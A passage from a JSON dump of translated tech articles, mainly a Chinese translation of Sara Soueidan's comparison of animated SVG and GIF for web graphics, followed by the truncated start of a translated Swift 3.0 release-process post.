    "content": "> * 原文链接 : [Animated SVG vs GIF [CAGEMATCH]](https://sarasoueidan.com/blog/svg-vs-gif/)\n* 原文作者 : [Sara Soueidan](https://twitter.com/SaraSoueidan)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Yusheng](https://github.com/rainyear)\n* 校对者: [ychow](https://github.com/ychow)\n* 状态 :  完成\n\n# Animated SVG vs GIF\n\nSVG不仅可用于展示静态图像，与其它图片格式相比，呈现动画的能力只是其强大的特性之一。这也是SVG优于包括GIF在内的其它位图格式的众多原因之一。当然，这种优势仅适用于适合SVG的应用场景，例如：\n\n* Logo图，\n* 不复杂的矢量图，\n* UI组件，\n* 信息化图表，\n* 图标。\n\n当然，如果你的图片更适合用位图格式——例如照片或非常复杂的矢量图形（通常会导致 SVG 格式的文件非常大），那么你还是应该用位图。不仅图片可以考虑用SVG格式，也要考虑SVG是否适用于当前图片。例如，如果用PNG格式时图片的文件更小，那么你就应该使用PNG格式，针对不同的版本、分辨率可以通过`srcset`属性来控制，或者根据工作目标寻找其它合理的解决方案。\n\n> 不仅图片可以考虑用SVG格式，也要考虑SVG是否适用于当前图片。\n\n通常来说，上面列出的图片都非常适合用SVG格式。如果你想给它们添加动画效果，通过修改SVG代码来生成动画效果也是非常合理的选择。\n\n然而，上星期有一个展示了一些GIF格式的动态图标链接出现在我的Twitter时间轴上。\n\n我看到这些图标的第一个想法就是这些图标非常适合用SVG呈现，而且也应该用SVG而非GIF。\n\nSVG格式的确可以在很多地方取代GIF格式，就像上面提到的那些应用场景中可以取代其它位图格式一样。SVG的动画能力给它这样的优势和能力，而且绝不仅仅是体现在制作动画图标上。\n\n下面是我总结出我认为你应该尽可能的使用SVG而不是GIF的原因。\n\n## 图像质量\n\n毫无意外地，SVG相对于GIF（或其他图片格式）的第一个优势同时也是SVG的首要特征：分辨率独立性。SVG图片在任何分辨率的屏幕上，无论你如何放大，看起来都非常清晰。而像GIF这样的位图格式则不然。试着放大一个有GIF图像的页面你可以看到GIF会变得像素化，内容也会变模糊。\n\n例如，下面这张通过录制SVG动画得到的GIF图片在较小尺寸时看起来还没有问题：\n\n![](https://sarasoueidan.com/images/svg-vs-gif--animation-example.gif)\n\nA GIF recording of the [SVG Motion Trails demo](http://codepen.io/chrisgannon/pen/myZzJv) by Chris Gannon.\n\n把这个页面放大几次会导致图片像素化，内部元素的边缘和曲线会出现锯齿，就像下面这张图片这样：\n\n![](https://sarasoueidan.com/images/svg-vs-gif--animation-example-zoomed-in.png)\n\n然而当你查看[SVG demo](http://codepen.io/chrisgannon/pen/myZzJv)并且放大页面时，无论放大多少次，SVG图片内容依然保持清晰不变。\n\n想要在高分辨率显示器上呈现清晰的位图格式的图像，如GIF，你需根据上下文用`srcset`属性将图像进行放大。\n\n当然，图像的分辨率越高，图像文件也就越大。如果用GIF格式，文件尺寸将会变得出奇的大，这一点我们后面马上就会看到。除此之外，在手机中用高分辨率的GIF来呈现较小的尺寸会损害页面性能。**不要这样做。**\n\n在你创建GIF动画图标或图片时，它们的尺寸是固定的，页面的缩放或尺寸的改变会导致像素化。SVG的尺寸是自由的，而且清晰度则是固定的。你可以创建一个小尺寸的SVG并任意放大而不损失清晰度。\n\n**结论**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>GIF和其他图片格式一样，不能适配各种分辨率，在放大或高分辨率显示器上时会出现像素化。</td>\n<td>SVG可缩放和自适配，在任意分辨率的屏幕上都可以清晰地呈现。</td>\n</tr>\n</tbody>\n</table>\n\n## 颜色和透明度\n\n对透明度的处理方法有可能是破坏GIF市场的首要因素，尤其是当图片成现在有颜色的背景上时。\n\n这是使用GIF图标时（无论是否有动画）最有可能出现的问题，因为通常情况下图标背景是透明的。\n\n以下面透明背景上带有描边的圆圈为例，左边是SVG格式，右边是GIF格式。看到下面的图片你马上可以发现问题：GIF中的圆圈在描边外面有灰色的毛边。\n\n<figure style=\"background-color: #003366;\">![](https://sarasoueidan.com/images/svg-vs-gif--circle-on-transparent-background.svg) ![](https://sarasoueidan.com/images/svg-vs-gif--circle-on-transparent-background.gif)\n\n如过不是在浏览器里阅读这篇文章你可能看不到上面的效果，下面是截屏图片（右边是有问题的GIF格式）：\n\n![](https://sarasoueidan.com/images/svg-vs-gif--artefact.png)\n\n这是因为GIF图像中的透明度是通过二值化实现的。也就是说每个像素只有 _开_ 和 _关_ 两种状态：要么是完全透明的要么是完全不透明。这就意味着图片中前景与背景颜色之间无法平滑过度，从而因为不充足地抽样频率导致这样的边缘伪迹，通常称为 _锯齿_。\n\n当一条线不是绝对笔直时，会导致（靠近边缘的）一些像素部分是透明的，部分是不透明的，呈现图片的软件必须知道这些像素需要用什么颜色呈现。光环效应（Halo effect）“是指所有透明度大于50%的像素变成完全不透明并且携带将要被栅格化的背景颜色”([Chris Lilley](http://twitter.com/svgeesus/))。这一效应通常由于图像编辑软件新建/保存时像素颜色与背景色相混合所导致的。\n\n通常我们通过 _抗锯齿处理_ 来抵消锯齿化现象，但如果透明度是二值化的就没那么简单了。\n\n> **抗锯齿化和二值化透明度之间存在严重的相互干扰作用**。由于图像的被背景颜色是与前景颜色混合在一起的，单纯地将一个背景颜色换成另外一个颜色并不能很好地模拟透明度。这将会产生一堆由背景色和前景色混合而成的阴影[...]。如果对白色背景的原始图片进行抗锯齿化处理，就会产生围绕在物体周围的白色光圈。\n> <cite>— [Chris Lilley](http://twitter.com/svgeesus/) ([Source](http://www.w3.org/Conferences/WWW4/Papers/53/gq-trans.html))</cite>\n\n这一问题的解决方案就是采用量化透明度，也就是我们通常所说的alpha通道。alpha通道可以允许不同程度的透明度，使前景色和背景色之间的过度更加平滑，这在GIF中是无法做到的；带有光环效果的图像只有用在白色背景上看起来效果最好，任意其它对比度高的背景色都会使边缘的伪迹清晰可见。\n\n我不是很确定（针对GIF的）这一问题是否有解决方案，但我还从没见过透明背景的GIF中曲线边缘没有这一问题，我甚至还看过矩形边缘也存在这样的问题。\n\n如果你想要将你的图片/图标用在非白色背景上，例如黑色的页脚背景上，单单这一个问题就可以让你否决掉 GIF。然而还有其他原因证明SVG比GIF更好，我们将会在后面的小节中看到。\n\n**注意：** 如果你用浏览器阅读这篇文章仍然没办法看到第一张图片里面的锯齿效果，试着放大页面再来看。\n\n为什么图片在较小尺寸时看不到锯齿？这是因为：浏览器在调整图像尺寸的过程中将边缘的锯齿抚平了。这是否意味着你可以借此摆脱锯齿问题继续使用GIF？是的，你可以。但是要这样做你必须使用比你想要的尺寸大得多的GIF，然后进行缩小。这也意味着你的用户需要从你的服务器下载更大的图片文件，进而占据他们手机更多的带宽，同时也会影响整个页面的大小和性能。请不要这样做。\n\n**总结**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>GIF只能二值化地表示透明度。这导致图像或图标用于非白色背景上时会产生伪迹，也就是 _光环效果_。背景色与图像的对比度越高，光环效果越明显，导致图标几乎无法使用。</td>\n<td>SVG包含alpha通道，因此在任何颜色的背景上都不存在这些问题。</td>\n</tr>\n</tbody>\n</table>\n\n## 动画技术和动画性能\n\n**你可以用CSS、JavaScript或者是SMIL制作SVG动画**，而且它们都可以让你通过不同层面上的控制，使SVG里面的元素产生各种不同的动画效果。\n\nGIF图片则不存在“动画技术”这一说。它们的动画效果是通过一种固定的方式和步调，连续呈现一系列图片（每一帧一张图片）。诚然，你可以通过“录制”动画并转换成 GIF 格式的方式来创建图标，但这种方法做出来的图标能有多好看？而且对于动画的时机在录制完成后你又有多大的控制权？完全没有。\n\n除非你能肯定你创建的GIF至少有60帧（_每秒钟_ 60张图片），否则它的动画效果很难看起来比较流畅。而SVG利用浏览器的优化，想要获得流畅的动画效果则简单地多。\n\nGIF文件的尺寸比PNG或JPEG大得多，而且动画的时间越长，文件越大。想象一下，如果你的动画需要持续5到6秒钟会怎样？如果持续时间更长呢？\n\n结果可想而知。\n\n让我们来看一个具体的小例子。下面是两张图片：左边的是SVG动画，右边是GIF。图中的矩形都是在6秒钟时间内变换其颜色。\n\n<svg width=\"300\" height=\"150\" viewBox=\"0 0 300 150\" xmlns=\"http://www.w3.org/2000/svg\"><style>svg{width:48%;}path{animation:loop 6s linear infinite;}@keyframes loop{to{fill:#009966;}}</style></svg> ![](https://sarasoueidan.com/images/svg-vs-gif--rectangle-animation.gif)\n\n需要注意的有以下几点：\n\n* GIF动画看起来好像更流畅，但如果看仔细一些你会发现SVG中矩形颜色变化的范围更广，因为它是从颜色的起始值到终止值连续变化而来的。**GIF中颜色变化数量的上限是其帧数**。上图中的GIF包含60帧，也就是60种颜色，而SVG则遍历了整个颜色图谱中粉色到绿色之间的所有颜色。\n* 对于这种循环播放的动画效果，通常来说最好避免颜色的剧烈跳转。在制作动画时，颜色变化的最后最好可以平滑地过度到初始的粉色，这样第二轮动画继续开始时就不会看到明显的颜色跳转。通过CSS，你可以利用`alternate`属性设定SVG动画的变化方向。但是对于GIF，你需要在帧数上面下功夫，并且很有可能需要在现有的帧数基础上加倍，当然，这同样会导致图片文件大小的增加。\n\n上面两张图片的大小比较：\n\n* GIF图片：**21.23KB**\n* SVG图片：**0.355KB**\n\n这可不是什么微不足道的差别。当然我们都知道可以对图片进行优化，让我们来试试看。\n\nSVGO可以将SVG文件优化至 **0.249KB**。\n\n优化GIF有很多线上工具可以选择。我用[ezgif.com](http://ezgif.com/)对上图进行优化，（其它工具包括： [gifsicle](http://www.lcdf.org/gifsicle/)）文件可以压缩至**19.91KB**。\n\n优化GIF时有很多选项可以选择。我在优化上图时保持帧数不变，使用了有损压缩，这样可以将文件大小压缩30%-50%，作为代价会产生一些抖动/噪音。\n\n你也可以通过每n帧里面移除一帧的抽样方法进行优化；这样可以进一步降低文件大小，但是将导致动画效果不再那么流畅。以当前的动画效果为例，去除某些帧将导致颜色变化更加“跳跃”且更容易被察觉。\n\n其它优化选项包括减少颜色数量（这一方法不适用于我们这个依赖颜色的动画效果）和降低透明度等。你可以通过[ezgif.com](http://ezgif.com/)的优化页面了解更多关于这些选项的知识。\n\n简要概括：如果你希望你的GIF动画更流畅，你就需要更高的帧率，而这将导致文件大小的增加。而对于SVG，你所需要维护的文件相对来说小得多。上面只是一个简单的小例子，我敢肯定还有更多更好的例子，但是我在这里只是希望突出两种格式的差异。\n\n即使你用JavaScript甚至是JavaScript框架（因为IE浏览器不支持SVG动画）来产生上面的动画效果，将框架文件包含在内总的SVG文件大小仍然比GIF小或者最多一样大。以[GreenSock](http://greensock.com)的TweenLite为例，包含库文件在内SVG文件小于13KB（仍然比GIF小得多），而TweenLite本身压缩完就有12KB。即使最终文件大小跟GIF一样，SVG的其它优势仍然足以超越GIF，而且后文中还会看到更多。\n\n其它一些JavaScript库只关注某些特定的动画效果，因此文件更小（<5KB），例如用于创建直线绘制效果的[Segment](https://github.com/lmgonzalves/segment/blob/gh-pages/dist/segment.min.js) 。Segment压缩后只有2.72KB。还不算太坏，是吧？\n\n当然可能会有例外存在，因而你需要经过测试再做决定。但是考虑到GIF的本质和其工作原理，你会发现在大部分情况下SVG都是一个更好的选择。\n\n注意：SVG的性能在今天来看还没有达到最优化水平，并且在将来很有希望得到改善。IE/MS Edge在当下所有浏览器中渲染 SVG的性能最好。除此之外，SVG动画看起来仍然比GIF动画要好，尤其是在应对较长时间的动画时。因为假设是60fps的GIF动画，文件的大小将会降低整个页面的性能。像GreenSock之类的库也（为SVG）提供了很好的性能支持。\n\n**总结**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>\n1. 一般来说GIF比SVG图片要大。动画越复杂时间越长，所需要的帧数越多，会导致文件越大，对性能的影响也越大。\n2. 除非GIF的帧率达到60fps，否则动画效果看起来可能会不够流畅。然而帧率越高，尤其是长时间的动画，又会导致文件越大。\n**结果：** 需要对性能做出妥协。要么是为了保持GIF动画的流畅性而增加总体页面大小影响其性能，要么是采用较少的帧数影响动画性能。 总会有一种形式的性能受到影响。\n</td>\n<td>\nSVG利用浏览器优化和自身动画元素的优势，即便当前浏览器的性能尚未达到最优化水平的条件下，在保持更好动画效果的同时不需要牺牲页面性能做出妥协。\n\n如果不是在非常小的情况下，与GIF相比，即使是包含一些跨浏览器支持的动画库的情况下，SVG文件的大小也是很合理的。\n</td>\n</tr>\n</tbody>\n</table>\n\n### 维护和修改动画\n\n……对于GIF来说是非常痛苦的。你需要用到Photoshop、Illustrator或After Effects之类的图像编辑器，如果你对这些编辑器本身并不熟练，你一定会觉得直接修改代码比使用图像编辑器更舒适一些。\n\n![](https://sarasoueidan.com/images/svg-vs-gif--photoshop-frames.png)\n\n上图是用Photoshop创建GIF动画时间轴的截屏。图中底部显示的是动画中的每一帧，越复杂的动画需要的帧数越多，同时也不要忘了还有复杂的图层面板。\nsmall>感谢我的设计师朋友[Stephanie Walter](http://twitter.com/WalterStephanie)对PS动画的建议</small>\n\n想象一下如果你想改变动画的时间要怎么办？如果你想同时改变图像中一个或多个元素随时间变化的函数怎么办？或者想要改变元素移动的方向呢？如果想要改变整体效果让图片中的元素做出完全不同的动作呢？\n\n你需要从头重新绘制图像或图标。任何改动都需要你重新打开图像编辑器针对每一帧进行修改。这对于开发者来说是一种折磨，而对于那些对编辑器不够熟悉的人来说简直就是“不可能完成的任务”。\n\n对于SVG，任何动画的改动都只是几行代码的事而已。\n\n**总结（开发者的角度）**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>维护和修改GIF动画需要重新创建图像或通过图像编辑器对原有的每一帧进行重新整理，对那些不熟悉设计的开发者来说这是很大的问题。</td>\n\n<td>SVG动画可以直接在SVG代码中进行控制和修改，通常只需要几行代码就可以搞定。</td>\n</tr>\n</tbody>\n</table>\n\n## 文件大小，页面加载时间和性能\n\n前面的小节中我们关注了动画性能本身，在这一小节中，我希望关注页面整体性能以及你所选择的图片格式对其产生的影响。\n\n事实：文件越大，对页面加载时间和性能的负面影响越大。基于这种情况，让我们通过一个更加实际、现实生活中的例子，来观察用SVG替换GIF是怎样优化整体页面的加载时间的。\n\n18个月前，在我的第一个关于SVG的演讲中，我提到过如何使用SVG替换GIF并且得到整个页面性能的提升。在那个演讲中，我用真实世界中的网页作为例子来展示如何利用SVG的优势：[Sprout网站](http://sprout.is/)首页。\n\nSprout网站首页的两个动画图像最初是使用GIF展示的。两年前[Mike Fortress](https://twitter.com/mfortress)[在Oak上写了一篇博文](http://oak.is/thinking/animated-svgs/)，文中解释了如何用SVG动画重新实现了原来的GIF动画，特别是下图所示的图表动画：\n\n![](https://sarasoueidan.com/images/svg-vs-gif--sprout-chart.svg)\n\nThe SVG version of the chart used on the Sprout homepage and written about on the Oak article. <small>(All rights reserved by their owners.)</small>\n\n注意这一动画是用SMIL创建的，如果你正在用IE浏览器是看不到的。\n\n在他的文章中，Mike分享了一些关于他们切换成SVG后的新页面性能的有趣结果：\n\n> 这一图表和Sprout页面上的另外一个动画，最初是GIF格式的。替换成SVG后我们的页面从 **1.6 mb缩减到389 kb**，页面加载时间 **从8.75 s缩减到412 ms**。这是一个巨大的差异。\n> <cite>—Mike Fortress, [“Animated SVGs: Custom Easing and Timing”](http://oak.is/thinking/animated-svgs/)</cite>\n\n的确是非常巨大的差异。\n\nSprout首页上的图表非常适合用SVG。如果SVG有这么多优势完全没有理由录制成GIF。\n\n[Jake Archibald](https://jakearchibald.com/)也意识到SVG动画的威力，并将其用于他文章中交互插图的部分。他的[Offline Cookbook](https://jakearchibald.com/2014/offline-cookbook/)就是很好的例子（同时也是一篇很好的文章）。他可以用GIF来做吗？当然可以。然而考虑到他用到的图片数量，GIF会轻松地将其整个页面的大小增加至几M，因为每张GIF至少需要几百K；然而 **_所有_SVG内嵌的条件下整个页面总体大小只有128KB**，因为[你可以重复利用SVG中的元素](https://sarasoueidan.com/blog/structuring-grouping-referencing-in-svg)，任何重复元素不仅会让整个页面的[gzip效果更好](http://calendar.perfplanet.com/2014/tips-for-optimising-svg-delivery-for-the-web/)，对于每个页面，所有SVG总体大小也变得更小。\n\n_这_ 够牛逼了吧。\n\n关于页面加载和性能的讨论暂时就到这里。但是需要注意的是仍然 _可能_ 存在例外，虽然大多数情况下你都会发现SVG比GIF更好，但最好还是测试一下。\n\n**总结**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>GIF动画图片通常比SVG大，这将会导致对整体页面、加载时间和性能的负面影响。</td>\n<td>SVG可以重复利用，gzip压缩效果更好，也使得其整体体积比GIF更小，因而可以优化页面加载时间和性能。</td>\n</tr>\n</tbody>\n</table>\n\n## 浏览器支持\n\nGIF相比SVG唯一的绝对优势可能就是浏览器支持。GIF在任何地方都能很好展现，而SVG的支持相对来说不够全面。虽然我们有很多[针对不支持SVG浏览器的后备方案](https://css-tricks.com/a-complete-guide-to-svg-fallbacks/)，而且以当下的浏览器来说不应该成为阻碍任何人使用SVG的理由，但是备选图片如果采用PNG或JPG格式，就会变成静态、无动画的。\n\n当然，你也可以将GIF作为SVG的后备方案，但还是不得不考虑上文中提到的所有顾虑和缺点。\n\n**总结**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>GIF在任何地方都可以使用。</td>\n<td>SVG浏览器支持不够完全，但是对于不支持的浏览器也有很多后备方案。</td>\n</tr>\n</tbody>\n</table>\n\n## 可控性考虑\n\n在页面上或任何地方移动什么东西，就此而言，会立即产生一个分心物-肯定能够在开始移动时立即吸引用户的注意。人类大脑就是这样运行的。这也是广告条如此致力于制作动画效果的原因之一，也是动画广告条 **极度烦人** 的原因。它们会在你需要集中注意执行某项任务（例如阅读一篇文章）时分散你的注意。\n\n想象一个页面汇集了一堆动画图标（或图片），无论你做什么它们都不停地动来动去。我说的不是首页或文章中的一两个动画图片，而是UI中的元素和控制键以及会在许多不同地方重复出现的小图标。除非你的图标 _原本_ 就是设计成无限循环动画的，比如说用户交互等待过程中的spinner，否则将会变得非常恼人，而不再是什么“好事”。\n\n事实上，对于某些人来说可能不只是恼人，持续的动画可能会让有些人感到难受。\n\n在Val Head的文章[“Designing Safer Web Animation For Motion Sensitivity”](http://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity)中，这位设计师及网页动画顾问讨论了网页中过度使用动画对视觉诱发前庭障碍人群的影响：\n\n> 人们认为scrolljacking和视差效果烦人和被过度使用已经不是什么秘密。但你有没有想过这些动画不只是惹恼你还可能会让你生病？\n> 对于视觉诱发前庭障碍患者来说这已经是事实。因为动画交互变得越来越常见，越来越多的人注意到 **屏幕上大规模的动画可能导致他们头昏，恶心，头疼甚至更糟。对有些人来说这些症状甚至会在动画结束之后持续很久。** Yikes.\n\n现在想象一下如果这些动画 _永不_ 停止…… Yikes+1。\n\nVal的文章更详细地解释了这一问题，因为她收集了两个真实病人在看到不同动画时体验的反馈。\n\n避免这些问题的解决方案之一是[提供给用户控制这些动画的方法](http://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity#section10)，这样当他们觉得被干扰时就可以停止这些动画。\n\n对于SVG来说，你可以完全控制这些动画。如果你真的需要用户进入页面后马上播放，你可以在页面加载后播放一次或两次。然后你可以仅用几行CSS或JavaScript就可以让用户通过hover动作来再次触发它们。**你不需要几百上千行CSS或JavaScript 行代码让图标产生动画**，除非你的图标是一个非常复杂的场景，里面包含很多动画成分。如果真是这样，我觉得已经不能算是“图标”而是常规的图片。\n\n你甚至可以控制回放、每个Tween动画的速度，当然，如果你用JavaScript控制的话你可以做到更多。\n\n或者你可以添加切换按钮让用户可以随时停止循环播放的动画。但是你没办法对GIF这样做……除非你的切换动作是用静态图片替换原来的GIF。\n\n可能有人认为可以通过展示动画图片的静态画面，例如PNG，然后在用户的hover动作时替换成GIF。但是这样做会带来一些问题：\n\n* 如果图片是内嵌的，你需要通过JavaScript来替换这些图片。而这一动作在SVG中不需要用到任何JavaScript。\n* 如果图片是前景图片（嵌入HTML中），而你需要替换它们，那么每张图片需要双倍的HTTP请求。如果图片作为样式表中内嵌的背景图片（不推荐这样做），图片（尤其是GIF）大小将会累加到样式文件中，从而阻塞整个页面的渲染时间。\n* 如果你在用户hover时替换图片地址，网速较慢时将会在前后两张图片之间产生一个明显的闪烁。我的网络连接比较慢，有时候用3G网络，在hover或是viewport改变之类的随便其它什么情况下看到两张图片的切换，还没有记得哪次没有出现闪烁。这种情况在第二张图片（hover时加载GIF图片）较大的时候，闪烁之后会紧跟着一段加载缓慢而劣质的动画。这样真的毫无吸引力可言。\n\n所以说，你当然可以通过切换图片来控制动画的播放，但是你会因为无法精确控制GIF而影响用户对UI的使用体验。\n\n你也可以控制GIF动画的播放次数（很酷的办法），但是这意味着动画只能播放 **_n_** 次。如果你需要根据用户的行为来重新播放，你还是需要将上面总结的技术应用到多张图片上去实现。\n\n（如果用GIF你需要）维护多张图片，多次HTTP请求，采用一些非最优化的hacky方案来解决这些本来在SVG中非常容易解决的问题：\n\n* 在页面中内嵌 **一个** SVG 图片。\n* 在任何你需要的地方创建动画（或者在嵌入图片之前创建动画）\n* 对动画的播放，暂停等控制；让用户也可以控制。\n\n不需要额外的HTTP请求去加载，不需要在图像编辑器中维护复杂的动画时间轴，不需要顾虑可控性问题，用几行代码就能避免各种顾虑。\n\n**结论**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>GIF不通过额外的HTTP请求加载图片无法实现用户停止播放动画的功能。即便通过这种方式也无法实现对动画的完全控制。</td>\n<td>SVG可以完全定制化，可以通过常规的方法让用户完成启用、停用等控制。</td>\n</tr>\n</tbody>\n</table>\n\n### 内容可控性\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>GIF只能像PNG和JPEG等格式一样通过`alt`属性进行描述。图像的内容无法被识别或通过超出图像整体描述之外的方法直接操作。\n</td>\n<td>SVG内容及语义结构都是直接可控的。SVG中用于产生动画的内容也能够通过SVG内置的可操作元素以及ARIA规则和属性被渲染的屏幕操作。（可以从[这里](http://www.sitepoint.com/tips-accessible-svg/)了解更多关于SVG可控性的知识）。</td>\n</tr>\n</tbody>\n</table>\n\n## 交互性\n\nSVG内部的元素在动画期间、之前和之后都是可以交互的，除此之外在没有别的什么可说的，然而这些在GIF中都是不可能的。因此，如果你用GIF，你将失去任何超出触发和停止动画之外的控制，即使这些也不是真正在GIF（此处可能是作者笔误为SVG）内部实现的，就像我们刚刚看到的，是通过将GIF替换成静态图片实现的。即使是改变GIF内部元素的颜色也需要借助额外的图片来完成。这也是SVG相比于GIF的另一优势。\n\n**总结**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>GIF中定义的动画无法进行交互。你无法与GIF内的个别元素进行交互，也不能针对个别元素创建链接。</td>\n\n<td>SVG的内容是完全可交互的。你可以让内部个别元素响应用户的hover和点击等相关动作。</td>\n</tr>\n</tbody>\n</table>\n\n## 响应式和自适应动画\n\n可以直接通过代码控制SVG动画及其多种多样的属性，使得SVG比GIF又多了一个优势：不需要额外的HTTP请求，只需要几行代码和很小的文件就能创建响应式、自适应以及高性能的动画。\n\nSarah Drasner曾在[Smashing Magazine上写过一篇文章](http://www.smashingmagazine.com/2015/03/different-ways-to-use-svg-sprites-in-animation/)，展示了由SVG精灵产生动画的不同方法。其中一种是在SVG内部创建多个“场景”，通过CSS来产生动画，然后通过改变[`viewBox`属性]((https://sarasoueidan.com/blog/svg-coordinate-systems)的值来改变SVG的“视图”，根据当前的窗口大小和可用屏幕区域每次呈现一个场景。\n\n如果你希望创建相同的GIF动画，你将失去对动画的控制，同时需要多张图片来实现，多张图片的大小可比一张SVG图片要大得多。\n\n如果你不想跟SVG动画代码打交道，你可以创建SVG精灵并像其他格式的图片一样去产生动画，用`steps()`方法和几行CSS就可以实现。Sarah也在她的文章中讨论了这一技术。SVG动画并不需要很复杂的方法就能做到高性能。\n\n**结论**：\n\n<table>\n<tbody>\n<tr>\n<td>GIF</td>\n<td>Animated SVG</td>\n</tr>\n<tr>\n<td>由于GIF的内容无法通过代码控制，因而要想让动画自动响应窗口或上下文的变化，需要对多张图片分别进行整理操作。</td>\n\n<td>由于SVG直接通过代码产生动画，其内容和动画可以根据视窗大小的和上下文的变化自动响应或适应，不需要对其它资源进行操作。</td>\n</tr>\n</tbody>\n</table>\n\n## 结束语\n\nGIF拥有非常好的浏览器支持，但是SVG在其它各个方面都远胜GIF。当然有可能存在例外的情况，你还是可以用GIF或其它任何图片格式来弥补SVG的不足，你甚至可以用视频或HTML5 Canvas或随便别的什么东西。\n\nSVG相比其它图片格式可以带来性能上的优势，相比GIF尤其如此。\n\n因此，基于以上所有内容，我推荐在任何可以使用SVG动画的地方都要尽量避免使用GIF。你当然也可以忽略我的建议，但同时你也放弃了SVG提供的诸多优势。\n\n除非GIF在IE 8一下版本浏览器支持方面体现出比SVG更多的优势，否则我认为SVG应该是正确的选择。\n\n下面的链接可以帮助你开始使用SVG动画：\n\n*   [The State of SVG Animation](http://blogs.adobe.com/dreamweaver/2015/06/the-state-of-svg-animation.html)\n*   [A Few Different Ways to Use SVG Sprites in Animation](http://www.smashingmagazine.com/2015/03/different-ways-to-use-svg-sprites-in-animation/)\n*   [Creating Cel Animations with SVG](http://www.smashingmagazine.com/2015/09/creating-cel-animations-with-svg/)\n*   [GreenSock](http://greensock.com) has a bunch of very useful articles on animating SVGs\n*   [Snap.svg](http://snapsvg.io/start/), also known as “The jQuery of SVG”\n*   [SVG Animations Using CSS and Snap.SVG](https://davidwalsh.name/svg-animations-snap)\n*   [Styling and Animating SVGs with CSS](http://www.smashingmagazine.com/2014/11/styling-and-animating-svgs-with-css/)\n*   [Animated Line Drawing in SVG](https://jakearchibald.com/2013/animated-line-drawing-svg/)\n\n---\n\n希望这篇文章对你有所帮助。\n\n感谢您的阅读。\n\n非常感谢Jake Archibald对本篇文章的审阅和反馈，感谢Chris Lilley对GIF图片的透明度部分的反馈。没有他们的反馈帮助，这篇文章就没办法如此简要而又全面^^\n"
  },
  {
    "path": "TODO/swift-3-0-release-process.md",
    "content": ">* 原文链接 : [Swift 3.0 Release Process](https://swift.org/blog/swift-3-0-release-process/)\n* 原文作者 : [Ted Kremenek](https://github.com/tkremenek/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Tuccuay](https://github.com/Tuccuay)\n* 校对者 : [Wilson Yuan](https://github.com/devSC), [Jasper Zhong](https://github.com/DeadLion)\n\n# 抢先看 Swift 3.0\n\n这篇文章介绍了 Swift 3.0 的目标、发布进程和预计的时间表。\n\nSwift 3.0 是一个不兼容 Swift 2.2 语法的大版本更新。它对语法和基本库有着根本性的改变。Swift 3.0 实现的完整修改列表可以在 [Swift evolution site](https://github.com/apple/swift-evolution#implemented-proposals-for-swift-3) 中查看。\n\nSwift 3.0 是首个包含 [Swift Package Manager](https://swift.org/package-manager/) 的发布版本。现在 Swift Package Manager 还处于早期开发版本，它支持开发和发布跨平台的 Swift 包。Swift Package Manager 将同时支持 Drawin 和 Linux 两个平台。\n\n对于 Linux，Swift 3 将会是第一个包含 [Swift Core Libraries](https://swift.org/core-libraries/) 的发布版本。\n\nSwift 3.0 预计在 2016 年后半年的某个时候发布。除了 Swift.org 的版本，Swift 3.0 也会被包含在未来的 Xcode 中。\n\n## 开发前瞻\n\n* Swift 3.0 将会有一系列的开发者预览版本（例如「种子版」或「测试版」），以提供合格且聚合的 Swift 3 构建版本。其目标是为用户提供更稳定和高质量的 Swift 二进制文件 [下载](https://swift.org/download) 并尝试，而不仅仅是对 `master` 分支抓取最新的快照。\n\n* 开发者预览版的发布节奏可能是不规律的，但通常会在 4~6 周之间。这将取决于变更进入 `master` 分支和让开发者预览版稳定下来的时间。\n\n* Swift 3.0 会将最后一个开发者预览版的分支标记为 \"GM\" 版本。\n\n* 进入开发者预览版的内容将由合适的发行管理者（见下文）管理。\n\n## 了解 Swift 3.0 的变化\n\n### 分支\n\n* **master**: Swift 3.0 的开发都发生在 `master`。所有的改动都将合并到 `master` 并被作为 Swift 3.0 最终版本的一部分，直到最后一个开发者预览版本分支被创建。并且这个 `master` 将继续跟进未来版本的 Swift。\n\n* **swift-3.0-preview--branch**: 这些分支都将从 `master` 创建。所有的合并请求都需要通过持续集成测试才能提交。这个分支用来管理和批准贡献者合并代码到开发者预览版分支的请求。\n\n* **swift-3.0-branch**: 最后一个从 `master` 分支创建的开发者预览版本将会被命名为 `swift-3.0-branch`。这是最终的「发布分支」。\n\n### 谈谈 Swift 3.0 理念上的变化\n\n* 在 Swift 3.0 中仅收录经过缜密考虑符合核心发行目标的改动。\n\n* 对于语言崩坏性的改动将在经过逐个审查的基础上考虑。\n\n* Swift 3.0 所有的语言和 API 变化都将经过 [Swift Evolution](https://github.com/apple/swift-evolution) 过程。\n\n* 准则 - 由发行管理者决定 - 对于接受变更的政策将会随着版本发布的临近而变得越来越严格，相同的策略也使用于开发者预览分支，开发者预览分支本质上是 mini-releases。\n\n## 时间表\n\n* 第一个开发者预览分支 `swift-3.0-preview-1-branch` 将会在 5 月 12 日从 `master` 分支创建，将会在 4~6 周后发布。\n\n* 而创建最后一个开发者预览版分支 —— `swift-3.0-branch` 的时间则尚未确定。当这个计划时间被确定后将会在 [swift-dev](https://lists.swift.org/mailman/listinfo/swift-dev) 通知，同时也会在这个帖子（译注：指英文原文）更新。\n\n## 受影响的仓库\n\n以下仓库也将会拥有 